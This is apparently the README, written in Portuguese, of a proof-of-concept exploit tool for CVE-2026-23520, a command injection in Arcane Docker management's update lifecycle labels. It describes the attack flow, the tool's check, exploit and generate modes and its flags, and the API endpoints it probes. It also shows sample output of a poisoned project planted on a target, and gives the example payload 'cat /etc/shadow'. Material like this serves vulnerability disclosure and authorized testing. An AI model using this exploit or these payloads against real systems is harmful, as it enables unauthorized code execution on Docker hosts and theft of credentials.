
Prova de conceito de exploit para CVE-2026-23520, um RCE autenticado no gerenciamento Docker Arcane via injeção de comandos do sistema operacional em rótulos de ciclo de vida. Inclui modos de verificação, exploração e geração.
Injeção de Comandos do Sistema Operacional no Arcane Docker Management (< 1.13.0)
Arcane é uma plataforma moderna de gerenciamento Docker baseada na web. Versões anteriores à 1.13.0 são vulneráveis a uma Execução Remota de Código (RCE) autenticada via injeção de comandos do sistema operacional nos labels de ciclo de vida do serviço de atualização.
O serviço de atualização suportava dois labels de contêiner Docker:
| Label | Gatilho |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Antes de uma atualização de contêiner |
com.getarcaneapp.arcane.lifecycle.post-update | Após uma atualização de contêiner |
O valor do label é passado diretamente para /bin/sh -c sem qualquer sanitização. Como qualquer usuário autenticado (não apenas administradores) pode criar projetos através da API, um atacante pode plantar um projeto envenenado. Quando um administrador posteriormente aciona uma atualização de contêiner, o comando injetado é executado dentro do contêiner — e potencialmente no host se houver montagens de volume.
Atacante (usuário de baixo privilégio) Servidor Arcane
──────────────────────────── ──────────────
1. Autentica (qualquer usuário) ──────────► JWT emitido
2. Cria projeto com Projeto salvo com
label de ciclo de vida envenenado ──────────► label malicioso
│
┌───────────────────────────────────────────┘
│ 3. Administrador aciona atualização de contêiner
▼
O atualizador do Arcane lê o valor do label
Passa para /bin/sh -c
│
▼
*** Execução arbitrária de comandos ***
(escopo do contêiner, ou host se volumes estiverem montados)
| Status | Versões |
|---|---|
| Vulnerável | Arcane < 1.13.0 |
| Corrigido | Arcane ≥ 1.13.0 |
A correção (commit 5a9c2f9) remove completamente o recurso de label de ciclo de vida para eliminar a superfície de ataque.
urllib da biblioteca padrão, roda em qualquer Python 3.10+check (fingerprint), exploit (implantar), generate (arquivo compose offline)-v) — mostra exatamente quais endpoints estão sendo sondados e o que retornapython3 poc_cve_2026_23520.py check -t <IP_DO_ALVO>
python3 poc_cve_2026_23520.py exploit \
-t <IP_DO_ALVO> \
-u <NOME_DE_USUÁRIO> \
-p <SENHA> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <IP_DO_ALVO>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Implantar o projeto envenenado via API do Arcane
check Fazer fingerprint do Arcane e verificar se é vulnerável
generate Gerar um arquivo compose envenenado (sem necessidade de rede)
options:
-h, --help show this help message and exit
-v, --verbose Mostrar saída de depuração da sondagem
Flags do exploit:
| Flag | Descrição | Padrão |
|---|---|---|
-t, --target | Host do Arcane (IP ou hostname) | obrigatório |
-P, --port | Porta do Arcane | 3552 |
-u, --username | Qualquer usuário autenticado do Arcane | obrigatório |
-p, --password | Senha do usuário | obrigatório |
--payload | Comando shell a injetar | id |
--hook | Hook de atualização pre ou post | pre |
--project-name | Nome do projeto envenenado | poc-cve-2026-23520 |
--env-id | ID do ambiente (auto-detectado se omitido) | auto |
--scheme | http ou https | http |
--no-verify | Ignorar verificação de certificado TLS | off |
O script não fixa um único caminho de API. Em vez disso, ele sonda silenciosamente múltiplos caminhos conhecidos para cada operação e para no primeiro acerto:
| Operação | Endpoints tentados |
|---|---|
| Versão | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Autenticação | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Ambientes | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Criação de projeto | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, e mais |
As chaves de resposta também são correspondidas de forma flexível (por exemplo, currentVersion, version, Version, serverVersion — incluindo objetos aninhados e busca sem diferenciar maiúsculas de minúsculas).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Passo 1 · Fingerprinting do Alvo ──
[*] Alvo: http://10.129.7.208:3552
[*] Sondando endpoints de versão …
[+] Versão encontrada via /api/version
[+] Versão do Arcane: v1.12.4
[+] Versão v1.12.4 é < 1.13.0 — VULNERÁVEL
── Passo 2 · Autenticação ──
[*] Autenticando como atacante …
[+] JWT obtido via /api/auth/login
── Passo 3 · Descoberta de Ambiente ──
[*] Sondando endpoints de ambiente …
[+] 1 ambiente(s) encontrado(s) via /api/environments
[*] → 1 (local)
[+] Usando ambiente: 1
── Passo 4 · Plantando Projeto Envenenado ──
[*] Injetando payload no label de ciclo de vida: pre-update
[*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Valor : id
[+] Projeto criado via /api/environments/1/projects
── Exploit Plantado com Sucesso ──
[+] O projeto envenenado agora aguarda um gatilho de atualização.
5a9c2f9Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não é responsável por qualquer uso indevido. Use apenas contra sistemas que você possui ou para os quais tenha permissão escrita explícita para testar.
MIT